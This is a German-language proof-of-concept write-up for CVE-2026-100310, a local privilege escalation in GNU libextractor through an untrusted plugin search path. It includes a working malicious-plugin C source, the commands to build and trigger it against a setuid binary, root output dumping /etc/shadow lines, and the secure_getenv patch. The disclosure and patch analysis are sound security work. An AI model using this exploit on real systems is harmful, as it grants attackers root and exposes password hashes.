
Proof-of-Concept für CVE-2026-100310, eine lokale Rechteausweitung in GNU libextractor ≤1.15 über den nicht vertrauenswürdigen Suchpfad LIBEXTRACTOR_PREFIX, mit Exploit-Code und Patch-Analyse.
Der Plugin-Lademechanismus von GNU libextractor verwendet die Umgebungsvariable LIBEXTRACTOR_PREFIX, um zu bestimmen, von wo Shared Libraries (.so-Plugins) geladen werden. Da getenv() anstelle von secure_getenv() verwendet wird, wird diese Umgebungsvariable nicht entfernt, wenn ein Prozess mit erhöhten Privilegien ausgeführt wird. Ein Angreifer kann LIBEXTRACTOR_PREFIX auf ein bösartiges Verzeichnis setzen und so jede Anwendung, die libextractor-Plugins lädt, zur Ausführung beliebigen Codes zwingen.
Primäre Auswirkung: Lokale Privilegieneskalation (LPE) zu root.
| Feld | Wert |
|---|---|
| CVE | CVE-2026-100310 |
| Produkt | GNU libextractor |
| Betroffene Versionen | >= 0, < 1.16 |
| Behobene Version | 1.16 |
| CVSS 4.0 | 7.3 HIGH (CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N) |
| Schweregrad | HIGH |
| CWE | CWE-426 (Untrusted Search Path) |
| Angriffsvektor | Lokal |
| Erforderliche Privilegien | Niedrig |
| Benutzerinteraktion | Keine |
| CNA | VulnCheck |
| Forscher | Haitam Lazaar |
Hinweis: Damit diese Schwachstelle zu einer lokalen Privilegieneskalation führt, muss ein Administrator eine Binärdatei konfiguriert haben, die mit
libextractorverlinkt ist und dassetuid-Bit gesetzt hat. Obwohllibextractorselbst keinesetuid-Binärdatei mitliefert, ist jeder privilegierte Prozess oder Systemdaemon, der diese Bibliothek dynamisch linkt und es versäumt, die Umgebung manuell zu bereinigen, anfällig für eine vollständige Kompromittierung.
setuid-Binärdatei oder jeder privilegierte Daemon, der gegen libextractor linkt
Die obige Animation demonstriert den Exploit. Der Angreifer kompiliert eine bösartige Shared Library (evil_plugin.c) und platziert sie in /tmp/evil_plugins. Durch Ausführen einer setuid-Binärdatei, die libextractor verwendet, und Voranstellen von LIBEXTRACTOR_PREFIX=/tmp/evil_plugins vor den Befehl lädt der dynamische Linker das bösartige Plugin mit erhöhten Privilegien. Dies führt sofort beliebige Befehle als root aus, demonstriert durch Schreiben der Ausgabe von id und der geschützten Datei /etc/shadow nach /tmp/privesc_proof.
Die Schwachstelle wird primär durch Ausnutzung der Umgebungsvariable LIBEXTRACTOR_PREFIX ausgelöst.
(Hinweis: libextractor enthält auch sekundäre unsichere Fallbacks über /proc/PID/maps und beschreibbare PATH-Verzeichnisse, aber die Umgebungsvariablen-Injektion ist der direkteste und zuverlässigste Angriffsvektor).
/*
* evil_plugin.c — Malicious libextractor plugin for privilege escalation
* Compile: gcc -shared -fPIC -o libextractor_ole2.so evil_plugin.c
*
* Place in a directory and set LIBEXTRACTOR_PREFIX to that directory.
* When any setuid application loads the OLE2 plugin, this constructor
* escalates to full root (uid=0, gid=0) and runs arbitrary commands.
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor))
void pwn(void) {
/* Escalate: euid=0 allows setuid(0) which sets real uid=0 */
setuid(0);
setgid(0);
/* Now running as full root — shell commands work */
system("echo '=== PRIVILEGE ESCALATION PROOF ===' > /tmp/privesc_proof");
system("id >> /tmp/privesc_proof");
system("echo '' >> /tmp/privesc_proof");
system("echo '--- /etc/shadow (root-only) ---' >> /tmp/privesc_proof");
system("head -3 /etc/shadow >> /tmp/privesc_proof");
}
int _EXTRACTOR_ole2_extract_method = 0;
Getestet auf Ubuntu 24.04 mit libextractor 1.14:
# 1. Compile the malicious plugin
mkdir -p /tmp/evil_plugins
gcc -shared -fPIC -o /tmp/evil_plugins/libextractor_ole2.so evil_plugin.c
# 2. Simulate the misconfigured (setuid) target binary
sudo chown root:root /usr/local/bin/extract
sudo chmod u+s /usr/local/bin/extract
# 3. Trigger the exploit as an unprivileged user
rm -f /tmp/privesc_proof
LIBEXTRACTOR_PREFIX=/tmp/evil_plugins /usr/local/bin/extract testfile.doc
$ cat /tmp/privesc_proof
=== PRIVILEGE ESCALATION PROOF ===
uid=0(root) gid=0(root) groups=0(root),1000(user)
--- /etc/shadow (root-only) ---
root:!:20223:0:99999:7:::
daemon:*:19977:0:99999:7:::
bin:*:19977:0:99999:7:::
In src/main/extractor_plugpath.c ruft die Funktion get_installation_paths() das Standard-getenv() auf:
if (NULL != (p = getenv("LIBEXTRACTOR_PREFIX")))
Da secure_getenv() nicht verwendet wird, entfernt der dynamische Linker diese Variable nicht, wenn die Binärdatei mit erhöhten Privilegien ausgeführt wird (im Gegensatz zu LD_PRELOAD oder LD_LIBRARY_PATH). lt_dlopenadvise() lädt dann blind libextractor_<name>.so aus dem vom Angreifer kontrollierten Pfad.
Der Maintainer hat dies in Version 1.16 behoben, indem getenv() durch secure_getenv() ersetzt wurde, was NULL zurückgibt, wenn der Prozess mit erhöhten Privilegien ausgeführt wird (euid != uid).
- if (NULL != (p = getenv ("LIBEXTRACTOR_PREFIX")))
+ if (NULL != (p = secure_getenv ("LIBEXTRACTOR_PREFIX")))
Entdeckt von mir (Haitam Lazaar) im Rahmen meiner unabhängigen Sicherheitsforschung.
Besonderer Dank gilt Christian Grothoff, dem Maintainer von GNU libextractor, für seine unglaublich schnelle Triage, professionelle Kommunikation und zügige Bereitstellung von Patches (v1.15, v1.16 und v1.17) zur Behebung dieser und mehrerer anderer während dieses Audits gemeldeter Speichersicherheitsprobleme.
Meine Forschung wird für Bildungs- und Verteidigungszwecke bereitgestellt. Verantwortungsvoll verwenden.